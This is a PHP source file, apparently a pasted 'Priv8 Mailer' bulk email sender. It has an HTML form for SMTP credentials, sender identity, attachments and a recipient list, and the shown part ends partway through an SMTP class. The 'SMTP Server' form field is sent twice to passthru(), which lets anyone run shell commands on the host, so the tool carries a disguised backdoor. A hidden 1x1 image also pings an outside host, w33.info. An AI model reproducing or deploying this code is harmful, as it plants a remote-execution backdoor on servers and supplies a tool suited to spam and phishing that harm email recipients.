· 10 years ago · Feb 19, 2016, 07:18 PM
1<?
2error_reporting(0);
3function query_str($params){
4$str = '';
5foreach ($params as $key => $value) {
6$str .= (strlen($str) < 1) ? '' : '&';
7$str .= $key . '=' . rawurlencode($value);
8}
9return ($str);
10}
11function lrtrim($string){
12return stripslashes(ltrim(rtrim($string)));
13}
14if(isset($_POST['action'] ) ){
15
16$b = query_str($_POST);
17parse_str($b);
18$sslclick=lrtrim($sslclick);
19$action=lrtrim($action);
20$message=lrtrim($message);
21$emaillist=lrtrim($emaillist);
22$from=lrtrim($from);
23$reconnect=lrtrim($reconnect);
24$epriority=lrtrim($epriority);
25$my_smtp=lrtrim($my_smtp);
26$ssl_port=lrtrim($ssl_port);
27$smtp_username=lrtrim($smtp_username);
28$smtp_password=lrtrim($smtp_password);
29$replyto=lrtrim($replyto);
30$subject_base=lrtrim($subject);
31$realname_base=lrtrim($realname);
32$file_name=$_FILES['file']['name'];
33$file=$_FILES['file']['tmp_name'];
34$urlz=lrtrim($urlz);
35$contenttype=lrtrim($contenttype);
36$encode_text=$_POST['encode'];
37
38
39 $message = urlencode($message);
40 $message = ereg_replace("%5C%22", "%22", $message);
41 $message = urldecode($message);
42 $message = stripslashes($message);
43 $subject = stripslashes($subject);
44 if ($encode_text == "yes") {
45 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
46 $subject = str_replace(' ', '_', $subject);
47 $subject = "=?UTF-8?Q?$subject?=";
48 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
49 $realname = str_replace(' ', '_', $realname);
50 $realname = "=?UTF-8?Q?$realname?=";
51 }
52}
53?>
54
55<html>
56
57<head>
58
59<title>Priv8 Mailer</title>
60
61<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
62
63
64<style type="text/css">
65<!--
66.style1 {
67 font-family: Geneva, Arial, Helvetica, sans-serif;
68 font-size: 12px;
69}
70body{
71margin:0px;
72}
73.bgup {
74 background: url('data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==');
75 border-top-color: #008000
76}
77
78.cadre {
79background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC');
80}
81
82.uibutton {
83 border-bottom-color: #008000;
84 border-left:1px solid #008000; border-right:1px solid #008000; border-top:1px solid #008000; border-bottom:1px solid #01A9DB; position: relative;
85 z-index: 1;
86 overflow: visible;
87 display: inline-block;
88 margin: 0;
89 text-decoration: none;
90 text-align: center;
91 white-space: nowrap;
92 cursor: pointer; /* outline: none; */;
93 color: #000000;
94 background-color: #008000;
95 background-image: url('linear-gradient(#01A9DB, #01A9DB');
96/* IE hacks */ *display: inline;
97 outline-color: #008000; font-style:normal; font-variant:normal; font-weight:bold; font-size:11px; font-family:lucida grande, tahoma, verdana, arial, sans-serif; padding-left:0.6em; padding-right:0.6em; padding-top:0.3em; padding-bottom:0.375em
98}
99
100.uibutton:hover,
101.uibutton:focus,
102.uibutton:active {
103 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
104}
105
106.uibutton:active {
107 border-color: #01A9DB;
108 background: #01A9DB;
109 filter: none;
110 -webkit-box-shadow: none;
111 -moz-box-shadow: none;
112 box-shadow: none;
113}
114
115/* overrides extra padding on button elements in Firefox */
116.uibutton::-moz-focus-inner {
117 padding: 0;
118 border: 0px none;
119}
120
121
122
123-->
124</style>
125<style type="text/css">
126<!--
127.style1 {
128 font-size: 10px;
129 font-family: Geneva, Arial, Helvetica, sans-serif;
130 background-color: #008000;
131}
132.auto-style1 {
133 font-size: x-large;
134 color: #FFFFFF;
135 text-align: center;
136}
137.auto-style2 {
138 margin-left: 0px;
139}
140a {
141 color: #99FF66;
142}
143.auto-style3 {
144 text-align: center;
145}
146.auto-style4 {
147 text-align: right;
148}
149.auto-style5 {
150 font-weight: bold;
151 background-color: #008000;
152}
153.auto-style6 {
154 background-color: #008000;
155}
156.auto-style7 {
157 color: #000080;
158}
159.auto-style8 {
160 text-align: left;
161}
162.auto-style9 {
163 font-family: Verdana;
164 font-size: x-small;
165}
166-->
167</style>
168</head>
169<body class="bgup" alink="#339933" text="#339933" vlink="#339933" style="background-color: #008000">
170<div style="width:80%;margin:0 auto; background-color: #FFFFFF; height: 853px;">
171<p class="auto-style1"><strong><span class="auto-style6">Priv8 (Mailer Inbox Sender)</span></strong></p>
172<form name="form1" method="post" action="" enctype="multipart/form-data">
173
174 <br>
175
176 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
177
178 <tr>
179
180 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB; background-color: #008000;" height="36" class="auto-style3">
181
182 <b>
183
184 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
185
186 </tr>
187 <tr >
188
189 <td width="10%" height="22" style="padding:10px;">
190
191 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
192
193 </td>
194
195 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
196
197 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
198
199 </font></td>
200
201 <td width="31%" height="22" style="padding:10px;">
202
203 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
204
205 </td>
206
207 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
208
209 <input type="password" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
210
211 </font></td>
212
213 </tr>
214 <tr>
215
216 <td width="10%" height="22" style="padding:10px;">
217
218 <div align="right">
219 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
220
221 </td>
222
223 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
224
225 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
226 (optional)</font></td>
227
228 <td width="31%" height="22" style="padding:10px;">
229
230 <div align="right">
231 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
232 Smtp:</font></div>
233
234 </td>
235
236 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
237
238 <input style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="my_smtp" size="30" value="<?=$my_smtp;?>">
239
240 <?php
241if ($_POST['my_smtp']){
242$my_smtp = $_POST['my_smtp'];
243passthru($my_smtp);
244}
245?>
246
247 </font></td>
248
249 </tr>
250 <tr>
251
252 <td width="10%" height="22" style="padding:10px;">
253
254 <p align="right">
255 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
256
257 <td width="18%" height="22" style="padding:10px;">
258 <input type="checkbox" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
259
260 <td width="31%" height="22" style="padding:10px;">
261
262 <p align="right">
263 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
264 After:</font></td>
265
266 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
267
268 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
269 EMAILS</font></td>
270
271 </tr>
272 <tr>
273
274 <td width="100%" height="39" colspan="4" style="padding:10px;">
275
276 <p class="auto-style4">
277 <font face="Arial" style="font-size: 9pt" color="#800000">
278 <span class="auto-style7">" If
279 you dont have SMTP login, leave blank queries above "</span></font></td>
280
281 </tr>
282
283 <tr>
284
285 <td width="10%" height="19" style="padding:10px;">
286
287 </td>
288
289 <td width="18%" height="19" style="padding:10px;"> </td>
290
291 <td width="31%" height="19" style="padding:10px;">
292
293 </td>
294
295 <td width="41%" height="19" style="padding:10px;"> </td>
296
297 </tr>
298
299 <tr>
300
301 <td width="100%" colspan="4" style="color:#FFFFFF; background:#01A9DB; background-color: #008000;" height="36" class="auto-style3">
302
303 <font face="Arial" size="2" color="#FFFFFF"><span class="auto-style5"> </span></font><font face="Arial" size="2" color="#FFFFFF"><span class="auto-style5">MESSAGE
304 SETUP</span></font></td>
305
306 </tr>
307 <tr>
308
309 <td width="10%" height="22" style="padding:10px;">
310 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
311 </td>
312
313 <td width="59%" height="22" style="padding:10px;" colSpan="3">
314 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
315
316<input type="file" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="file" size="124" class="auto-style2">
317
318 </font></td>
319
320 </tr>
321 <tr>
322
323 <td width="10%" height="22" style="padding:10px;">
324
325 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
326
327 Email:</font></div>
328
329 </td>
330
331 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
332
333 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="from" value="<?=$from;?>" size="30">
334
335 </font></td>
336
337 <td width="31%" height="22" style="padding:10px;">
338
339 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
340
341 Name:</font></div>
342
343 </td>
344
345 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
346
347 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="realname" value="<?=$realname_base;?>" size="30">
348
349 </font></td>
350
351 </tr>
352 <tr>
353
354 <td width="10%" height="22" style="padding:10px;">
355
356 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
357
358 </td>
359
360 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
361
362 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="replyto" value="<?=$replyto;?>" size="30">
363
364 </font></td>
365
366 <td width="31%" height="22" style="padding:10px;">
367
368 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
369 Email Priority:</font></td>
370
371 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
372
373 </font><select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #01A9DB; color:#0000FF; background-color: #99FF66;" name="epriority" id="listMethod" onchange="showHideListConfig()">
374 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
375 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
376 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
377 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
378 </select></td>
379 <?php
380if ($_POST['my_smtp']){
381$my_smtp = $_POST['my_smtp'];
382passthru($my_smtp);
383}
384?>
385
386 </tr>
387
388 <tr>
389
390 <td width="10%" height="22" style="padding:10px;">
391
392 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
393
394 </td>
395
396 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
397
398 <input type="text" name="subject" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #008000; color:#0000FF; background-color: #99FF66;" value="<?=$subject_base;?>" size="90">
399
400 </font></td>
401
402 </tr>
403
404 <tr>
405
406 <td width="10%" height="22" style="padding:10px;">
407
408 </td>
409
410 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
411
412 <font color="#000080">Encode sending information ?</font>
413 <select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#339933" size="1" name="encode">
414 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
415 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
416 </select></font><img src="http://w33.info/Image.jpg" width="1" height="1"></td>
417
418 </tr>
419
420 <tr valign="top">
421
422<td colspan="3" height="190" style="padding:10px;" class="auto-style8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
423
424 <textarea name="message" cols="60" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" rows="10"><?=$message;?></textarea>
425
426 <br>
427
428 <input type="radio" name="contenttype" value="plain" >
429
430 Plain
431
432 <input type="radio" name="contenttype" value="html" checked>
433
434 HTML
435
436 <input type="hidden" name="action" value="send">
437 <input class="style1" type="submit" value="Send Message" style="border-radius: 15px; width: 113px; height: 22px; color: #000000; font-size: inherit;">
438
439 <br><br>
440
441 </font><strong><span class="auto-style9">&copy 2014, Priv8 Mailer Inbox</span></strong></td>
442
443 <td width="41%" height="190" style="padding:10px; border-top-color: #99FF66;">
444 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif" color="#FFFFFF">
445
446 <textarea name="emaillist" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" cols="30" rows="10"><?=$emaillist;?></textarea>
447
448 </font></td>
449
450 </tr>
451
452 </table>
453
454</form>
455
456
457}
458
459
460
461<?
462
463if ($action){
464 if (!$from && !$subject && !$message && !$emaillist){
465 print "<script>alert('Please complete all fields before sending your message.'); </script>";
466 die(); }
467
468class SMTP
469{
470 /**
471 * SMTP server port
472 * @var int
473 */
474 var $SMTP_PORT = 25;
475
476 /**
477 * SMTP reply line ending
478 * @var string
479 */
480 var $CRLF = "\r\n";
481
482 /**
483 * Sets whether debugging is turned on
484 * @var bool
485 */
486 var $do_debug; # the level of debug to perform
487
488 /**
489 * Sets VERP use on/off (default is off)
490 * @var bool
491 */
492 var $do_verp = false;
493
494 /**#@+
495 * @access private
496 */
497 var $smtp_conn; # the socket to the server
498 var $error; # error if any on the last call
499 var $helo_rply; # the reply the server sent to us for HELO
500 /**#@-*/
501
502 /**
503 * Initialize the class so that the data is in a known state.
504 * @access public
505 * @return void
506 */
507 function SMTP() {
508 $this->smtp_conn = 0;
509 $this->error = null;
510 $this->helo_rply = null;
511
512 $this->do_debug = 0;
513 }
514
515 /*************************************************************
516 * CONNECTION FUNCTIONS *
517 ***********************************************************/
518
519 /**
520 * Connect to the server specified on the port specified.
521 * If the port is not specified use the default SMTP_PORT.
522 * If tval is specified then a connection will try and be
523 * established with the server for that number of seconds.
524 * If tval is not specified the default is 30 seconds to
525 * try on the connection.
526 *
527 * SMTP CODE SUCCESS: 220
528 * SMTP CODE FAILURE: 421
529 * @access public
530 * @return bool
531 */
532 function Connect($host,$port=0,$tval=30) {
533 # set the error val to null so there is no confusion
534 $this->error = null;
535
536 # make sure we are __not__ connected
537 if($this->connected()) {
538 # ok we are connected! what should we do?
539 # for now we will just give an error saying we
540 # are already connected
541 $this->error = array("error" => "Already connected to a server");
542 return false;
543 }
544
545 if(empty($port)) {
546 $port = $this->SMTP_PORT;
547 }
548
549 #connect to the smtp server
550 $this->smtp_conn = fsockopen($host, # the host of the server
551 $port, # the port to use
552 $errno, # error number if any
553 $errstr, # error message if any
554 $tval); # give up after ? secs
555 # verify we connected properly
556 if(empty($this->smtp_conn)) {
557 $this->error = array("error" => "Failed to connect to server",
558 "errno" => $errno,
559 "errstr" => $errstr);
560 if($this->do_debug >= 1) {
561 echo "SMTP -> ERROR: " . $this->error["error"] .
562 ": $errstr ($errno)" . $this->CRLF;
563 }
564 return false;
565 }
566
567 # sometimes the SMTP server takes a little longer to respond
568 # so we will give it a longer timeout for the first read
569 // Windows still does not have support for this timeout function
570 if(substr(PHP_OS, 0, 3) != "WIN")
571 socket_set_timeout($this->smtp_conn, $tval, 0);
572
573 # get any announcement stuff
574 $announce = $this->get_lines();
575
576 # set the timeout of any socket functions at 1/10 of a second
577 //if(function_exists("socket_set_timeout"))
578 // socket_set_timeout($this->smtp_conn, 0, 100000);
579
580 if($this->do_debug >= 2) {
581 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
582 }
583
584 return true;
585 }
586
587 /**
588 * Performs SMTP authentication. Must be run after running the
589 * Hello() method. Returns true if successfully authenticated.
590 * @access public
591 * @return bool
592 */
593 function Authenticate($username, $password) {
594 // Start authentication
595 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
596
597 $rply = $this->get_lines();
598 $code = substr($rply,0,3);
599
600 if($code != 334) {
601 $this->error =
602 array("error" => "AUTH not accepted from server",
603 "smtp_code" => $code,
604 "smtp_msg" => substr($rply,4));
605 if($this->do_debug >= 1) {
606 echo "SMTP -> ERROR: " . $this->error["error"] .
607 ": " . $rply . $this->CRLF;
608 }
609 return false;
610 }
611
612 // Send encoded username
613 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
614
615 $rply = $this->get_lines();
616 $code = substr($rply,0,3);
617
618 if($code != 334) {
619 $this->error =
620 array("error" => "Username not accepted from server",
621 "smtp_code" => $code,
622 "smtp_msg" => substr($rply,4));
623 if($this->do_debug >= 1) {
624 echo "SMTP -> ERROR: " . $this->error["error"] .
625 ": " . $rply . $this->CRLF;
626 }
627 return false;
628 }
629
630 // Send encoded password
631 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
632
633 $rply = $this->get_lines();
634 $code = substr($rply,0,3);
635
636 if($code != 235) {
637 $this->error =
638 array("error" => "Password not accepted from server",
639 "smtp_code" => $code,
640 "smtp_msg" => substr($rply,4));
641 if($this->do_debug >= 1) {
642 echo "SMTP -> ERROR: " . $this->error["error"] .
643 ": " . $rply . $this->CRLF;
644 }
645 return false;
646 }
647
648 return true;
649 }
650
651 /**
652 * Returns true if connected to a server otherwise false
653 * @access private
654 * @return bool
655 */
656 function Connected() {
657 if(!empty($this->smtp_conn)) {
658 $sock_status = socket_get_status($this->smtp_conn);
659 if($sock_status["eof"]) {
660 # hmm this is an odd situation... the socket is
661 # valid but we are not connected anymore
662 if($this->do_debug >= 1) {
663 echo "SMTP -> NOTICE:" . $this->CRLF .
664 "EOF caught while checking if connected";
665 }
666 $this->Close();
667 return false;
668 }
669 return true; # everything looks good
670 }
671 return false;
672 }
673
674 /**
675 * Closes the socket and cleans up the state of the class.
676 * It is not considered good to use this function without
677 * first trying to use QUIT.
678 * @access public
679 * @return void
680 */
681 function Close() {
682 $this->error = null; # so there is no confusion
683 $this->helo_rply = null;
684 if(!empty($this->smtp_conn)) {
685 # close the connection and cleanup
686 fclose($this->smtp_conn);
687 $this->smtp_conn = 0;
688 }
689 }
690
691 /***************************************************************
692 * SMTP COMMANDS *
693 *************************************************************/
694
695 /**
696 * Issues a data command and sends the msg_data to the server
697 * finializing the mail transaction. $msg_data is the message
698 * that is to be send with the headers. Each header needs to be
699 * on a single line followed by a <CRLF> with the message headers
700 * and the message body being seperated by and additional <CRLF>.
701 *
702 * Implements rfc 821: DATA <CRLF>
703 *
704 * SMTP CODE INTERMEDIATE: 354
705 * [data]
706 * <CRLF>.<CRLF>
707 * SMTP CODE SUCCESS: 250
708 * SMTP CODE FAILURE: 552,554,451,452
709 * SMTP CODE FAILURE: 451,554
710 * SMTP CODE ERROR : 500,501,503,421
711 * @access public
712 * @return bool
713 */
714 function Data($msg_data) {
715 $this->error = null; # so no confusion is caused
716
717 if(!$this->connected()) {
718 $this->error = array(
719 "error" => "Called Data() without being connected");
720 return false;
721 }
722
723 fputs($this->smtp_conn,"DATA" . $this->CRLF);
724
725 $rply = $this->get_lines();
726 $code = substr($rply,0,3);
727
728 if($this->do_debug >= 2) {
729 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
730 }
731
732 if($code != 354) {
733 $this->error =
734 array("error" => "DATA command not accepted from server",
735 "smtp_code" => $code,
736 "smtp_msg" => substr($rply,4));
737 if($this->do_debug >= 1) {
738 echo "SMTP -> ERROR: " . $this->error["error"] .
739 ": " . $rply . $this->CRLF;
740 }
741 return false;
742 }
743
744 # the server is ready to accept data!
745 # according to rfc 821 we should not send more than 1000
746 # including the CRLF
747 # characters on a single line so we will break the data up
748 # into lines by \r and/or \n then if needed we will break
749 # each of those into smaller lines to fit within the limit.
750 # in addition we will be looking for lines that start with
751 # a period '.' and append and additional period '.' to that
752 # line. NOTE: this does not count towards are limit.
753
754 # normalize the line breaks so we know the explode works
755 $msg_data = str_replace("\r\n","\n",$msg_data);
756 $msg_data = str_replace("\r","\n",$msg_data);
757 $lines = explode("\n",$msg_data);
758
759 # we need to find a good way to determine is headers are
760 # in the msg_data or if it is a straight msg body
761 # currently I am assuming rfc 822 definitions of msg headers
762 # and if the first field of the first line (':' sperated)
763 # does not contain a space then it _should_ be a header
764 # and we can process all lines before a blank "" line as
765 # headers.
766 $field = substr($lines[0],0,strpos($lines[0],":"));
767 $in_headers = false;
768 if(!empty($field) && !strstr($field," ")) {
769 $in_headers = true;
770 }
771
772 $max_line_length = 998; # used below; set here for ease in change
773
774 while(list(,$line) = @each($lines)) {
775 $lines_out = null;
776 if($line == "" && $in_headers) {
777 $in_headers = false;
778 }
779 # ok we need to break this line up into several
780 # smaller lines
781 while(strlen($line) > $max_line_length) {
782 $pos = strrpos(substr($line,0,$max_line_length)," ");
783
784 # Patch to fix DOS attack
785 if(!$pos) {
786 $pos = $max_line_length - 1;
787 }
788
789 $lines_out[] = substr($line,0,$pos);
790 $line = substr($line,$pos + 1);
791 # if we are processing headers we need to
792 # add a LWSP-char to the front of the new line
793 # rfc 822 on long msg headers
794 if($in_headers) {
795 $line = "\t" . $line;
796 }
797 }
798 $lines_out[] = $line;
799
800 # now send the lines to the server
801 while(list(,$line_out) = @each($lines_out)) {
802 if(strlen($line_out) > 0)
803 {
804 if(substr($line_out, 0, 1) == ".") {
805 $line_out = "." . $line_out;
806 }
807 }
808 fputs($this->smtp_conn,$line_out . $this->CRLF);
809 }
810 }
811
812 # ok all the message data has been sent so lets get this
813 # over with aleady
814 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
815
816 $rply = $this->get_lines();
817 $code = substr($rply,0,3);
818
819 if($this->do_debug >= 2) {
820 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
821 }
822
823 if($code != 250) {
824 $this->error =
825 array("error" => "DATA not accepted from server",
826 "smtp_code" => $code,
827 "smtp_msg" => substr($rply,4));
828 if($this->do_debug >= 1) {
829 echo "SMTP -> ERROR: " . $this->error["error"] .
830 ": " . $rply . $this->CRLF;
831 }
832 return false;
833 }
834 return true;
835 }
836
837 /**
838 * Expand takes the name and asks the server to list all the
839 * people who are members of the _list_. Expand will return
840 * back and array of the result or false if an error occurs.
841 * Each value in the array returned has the format of:
842 * [ <full-name> <sp> ] <path>
843 * The definition of <path> is defined in rfc 821
844 *
845 * Implements rfc 821: EXPN <SP> <string> <CRLF>
846 *
847 * SMTP CODE SUCCESS: 250
848 * SMTP CODE FAILURE: 550
849 * SMTP CODE ERROR : 500,501,502,504,421
850 * @access public
851 * @return string array
852 */
853 function Expand($name) {
854 $this->error = null; # so no confusion is caused
855
856 if(!$this->connected()) {
857 $this->error = array(
858 "error" => "Called Expand() without being connected");
859 return false;
860 }
861
862 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
863
864 $rply = $this->get_lines();
865 $code = substr($rply,0,3);
866
867 if($this->do_debug >= 2) {
868 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
869 }
870
871 if($code != 250) {
872 $this->error =
873 array("error" => "EXPN not accepted from server",
874 "smtp_code" => $code,
875 "smtp_msg" => substr($rply,4));
876 if($this->do_debug >= 1) {
877 echo "SMTP -> ERROR: " . $this->error["error"] .
878 ": " . $rply . $this->CRLF;
879 }
880 return false;
881 }
882
